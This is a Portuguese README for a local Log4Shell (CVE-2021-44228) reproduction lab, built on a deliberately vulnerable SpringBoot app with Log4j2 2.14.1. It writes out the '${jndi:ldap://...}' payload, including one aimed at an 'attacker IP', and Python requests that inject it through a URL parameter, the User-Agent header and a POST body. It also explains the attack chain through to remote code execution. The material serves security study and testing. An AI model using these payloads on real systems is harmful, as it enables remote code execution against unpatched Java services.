
CVE-2021-44228 (Log4Shell) Laboratório de Reprodução de Vulnerabilidades | SpringBoot + Log4j2 2.14.1 | Validação de PoC para 3 Vetores de Ataque
⚠️ Aviso de isenção: Este projeto destina-se exclusivamente ao aprendizado de segurança e à pesquisa técnica. Todos os ambientes de vulnerabilidade são montados localmente e nenhum alvo real foi testado. Não o utilize para fins ilegais. O risco do uso deste projeto é de inteira responsabilidade do usuário.
Log4j2 é o framework de logging mais amplamente utilizado no ecossistema Java. Ele possui um recurso de Lookup que permite inserir conteúdo dinâmico em logs usando a sintaxe ${...}. Nas versões 2.14.1 e anteriores, quando o conteúdo do log contém ${jndi:...}, o Log4j2 inicia automaticamente uma solicitação JNDI para o endereço especificado, permitindo que um atacante execute código remoto (RCE).
Esta vulnerabilidade é identificada como CVE-2021-44228, com pontuação CVSS 10.0 (máxima). A condição de disparo é extremamente simples, afeta quase todos os aplicativos Java que usam Log4j2 e o custo de exploração é muito baixo.
Pré-requisitos: JDK 8+, Maven, Python 3, biblioteca requests
Etapa 1: Iniciar o ambiente vulnerável
Abra o projeto com IDEA e execute VulnApplication.java. A seguinte saída indica que a inicialização foi bem-sucedida:
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds
Etapa 2: Executar o script PoC
cd exploit
pip install requests
python exploit.py
${jndi:ldap://127.0.0.1:1389/EvilClass}
Injete o payload por meio de um parâmetro de URL, acionando logger.info("User Login: {}", username):
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)
Injete o payload por meio de um cabeçalho HTTP, acionando logger.info("User-Agent: {}", headers):
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)
Injete o payload por meio do corpo de uma solicitação POST, acionando logger.info("Data: {}", body):
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)
[+] Conexão recebida! De 127.0.0.1:51631
[+] Vulnerabilidade confirmada! Log4j2 iniciou uma solicitação JNDI
[+] CVE-2021-44228 reproduzida com sucesso
O ouvinte recebeu uma conexão TCP do ambiente vulnerável, confirmando que o Log4j2 analisou ${jndi:...} e iniciou uma solicitação LDAP. A vulnerabilidade está confirmada.
O recurso de Lookup do Log4j2 permite inserir conteúdo dinâmico em logs usando a sintaxe ${...}, por exemplo, ${env:PATH} para ler variáveis de ambiente e ${sys:user.dir} para ler propriedades do sistema.
JNDI (Java Naming and Directory Interface) é a interface de nomenclatura e diretório do Java. Ao receber um endereço, ela o consulta e retorna o resultado. Se o resultado for uma classe Java, a JVM a carrega e executa automaticamente.
① O atacante insere no campo de entrada: ${jndi:ldap://IP_do_atacante:1389/EvilClass}
↓
② O site recebe a entrada e registra o log com logger.info()
↓
③ O Log4j2 analisa o conteúdo do log e detecta ${jndi:ldap://...}
↓
④ O Log4j2 inicia uma solicitação LDAP → conecta-se ao servidor do atacante
↓
⑤ O servidor LDAP do atacante responde: "Baixe EvilClass.class deste endereço"
↓
⑥ O servidor vítima baixa e carrega a classe EvilClass
↓
⑦ O bloco de código estático de EvilClass é executado automaticamente → RCE (execução remota de código)
-Dlog4j2.formatMsgNoLookups=true aos parâmetros de inicialização${jndi:log4j2-vuln-lab/
├── pom.xml # Configuração do Maven, especifica a versão vulnerável Log4j2 2.14.1
├── exploit/
│ └── exploit.py # Script de exploração PoC, 3 vetores de ataque + verificação por ouvinte TCP
└── src/main/
├── java/com/vuln/log4j/
│ ├── VulnApplication.java # Classe de inicialização SpringBoot
│ └── controller/
│ └── UserController.java # 3 pontos de injeção de vulnerabilidade (parâmetro GET/cabeçalho UA/corpo POST)
└── resources/
├── application.yml # Configuração de porta + nível de log
└── log4j2.xml # Arquivo de configuração do Log4j2